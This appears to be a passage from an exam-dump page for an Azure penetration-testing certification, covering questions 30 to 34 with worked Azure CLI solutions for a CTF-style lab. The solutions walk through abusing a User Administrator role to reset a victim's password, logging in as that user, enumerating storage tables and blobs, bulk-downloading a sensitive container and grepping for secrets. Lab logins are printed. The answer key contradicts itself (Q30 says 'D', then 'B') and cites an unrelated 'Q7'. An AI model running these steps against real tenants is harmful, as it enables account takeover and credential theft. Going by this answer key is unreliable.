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| Section | Objectives |
|---|---|
| Azure Identity & Authentication Exploitation | - Privilege escalation via misconfigured roles - Token / credential abuse scenarios |
| Azure Storage & Data Exposure | - Blob storage misconfiguration exploitation - Sensitive data extraction from storage services |
| Azure Cloud Attack Surface Enumeration | - Azure resource discovery and recon - Identity and access enumeration (Azure AD / Entra ID) |
| Compute & Network Exploitation in Azure | - Network misconfiguration exploitation (NSG / routing) - VM exploitation and lateral movement |
| Real-world Azure Attack Chains (CTF Scenario) | - Multi-step exploitation chain from initial access to privilege escalation - Flag/goal-based task completion in live environment |
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30. Frage
The compromised service principal has Contributor access to a resource group but no direct Key Vault data- plane role. Can it immediately read Key Vault secret values?
Antwort: D
Begründung:
Detailed Solution:
Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.
Test secret read:
az keyvault secret show \
--vault-name kv-finance-prod \
--name db-password \
--query value \
--output tsv
Expected failure:
Forbidden
Correct answer:
B). No, Contributor does not automatically grant Key Vault secret data-plane read Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.
31. Frage
Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
Antwort:
Begründung:
See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
--id lila.nguyen@azuresecops.onmicrosoft.com \
--password ' NewP@ssw0rd12345! ' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! ' Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name < table-name > \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do echo " ===== $table ===== " az storage entity query \
--account-name excaliburstore \
--table-name " $table " \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.
nguyen@azuresecops.onmicrosoft.com.
32. Frage
A storage account allows public blob access. Enumerate containers and identify the public container that exposes backup files.
Antwort:
Begründung:
See the Answer in Explanation below.
Explanation:
public-backups
Detailed Solution:
Try listing containers using Azure CLI:
az storage container list \
--account-name prodreportstore01 \
--auth-mode login \
--output table
If anonymous access is allowed, test via blob endpoint:
az storage blob list \
--account-name prodreportstore01 \
--container-name public-backups \
--auth-mode key \
--output table
In a lab, you can also test the public URL pattern:
https://prodreportstore01.blob.core.windows.net/public-backups/
Expected exposed container:
public-backups
Final answer:
public-backups
33. Frage
Carefully enumerate the accessible Azure Blob Container to locate a file containing credentials for an App Registration within the tenant. What is the Application/Client ID of the discovered App Registration?
Antwort:
Begründung:
See the Answer in Explanation below.
Explanation:
The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list \
--account-name excaliburstore \
--container-name sensitive-files \
--sas-token " $SAS " \
--query " [].name " \
--output table
Download all files locally:
mkdir blobloot
az storage blob download-batch \
--account-name excaliburstore \
--source sensitive-files \
--destination blobloot \
--sas-token " $SAS "
Search the downloaded files for application credentials:
grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot On Windows PowerShell:
Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " - CaseSensitive:$false A typical file may look like this:
{
" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,
" clientId " : " < application-client-id > " ,
" clientSecret " : " < application-client-secret > "
}
The clientId / appId value is the answer.
Final answer:
Use the clientId / appId value found in the blob credential file.
34. Frage
ExcaliburCorp has recently migrated part of its infrastructure to Microsoft Azure. Shortly after the migration, the company suffered a security breach resulting in the exposure of sensitive internal data. Their investigation revealed that the attack originated from a disgruntled developer who has since disappeared. To assess and mitigate further risks, ExcaliburCorp has granted you access to a replica Azure environment with the same permissions the developer had at the time of the incident. Your task is to simulate the attacker's actions, uncover the full extent of the compromise, and identify vulnerable configurations or services that enabled the breach.
Using the provided Azure login credentials, perform OSINT and reconnaissance to identify the Azure Active Directory/AAD Tenant ID associated with the environment.
Antwort:
Begründung:
See the Answer in Explanation below.
Explanation:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Detailed Solution:
Log in using the supplied breached Azure account.
az login -u alex.johnson@azuresecops.onmicrosoft.com -p ' pg:Lr{k102l(fh7! ' After successful authentication, check the active Azure subscription context.
az account show
The important fields are:
{
" id " : " 7403ec86-c39d-4d80-9efa-35c7580ecefa " ,
" name " : " Azure subscription 1 " ,
" tenantDefaultDomain " : " azuresecops.onmicrosoft.com " ,
" tenantDisplayName " : " ExcaliburCorp " ,
" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b "
}
The AAD / Microsoft Entra tenant ID is the tenantId.
Final answer:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
35. Frage
......
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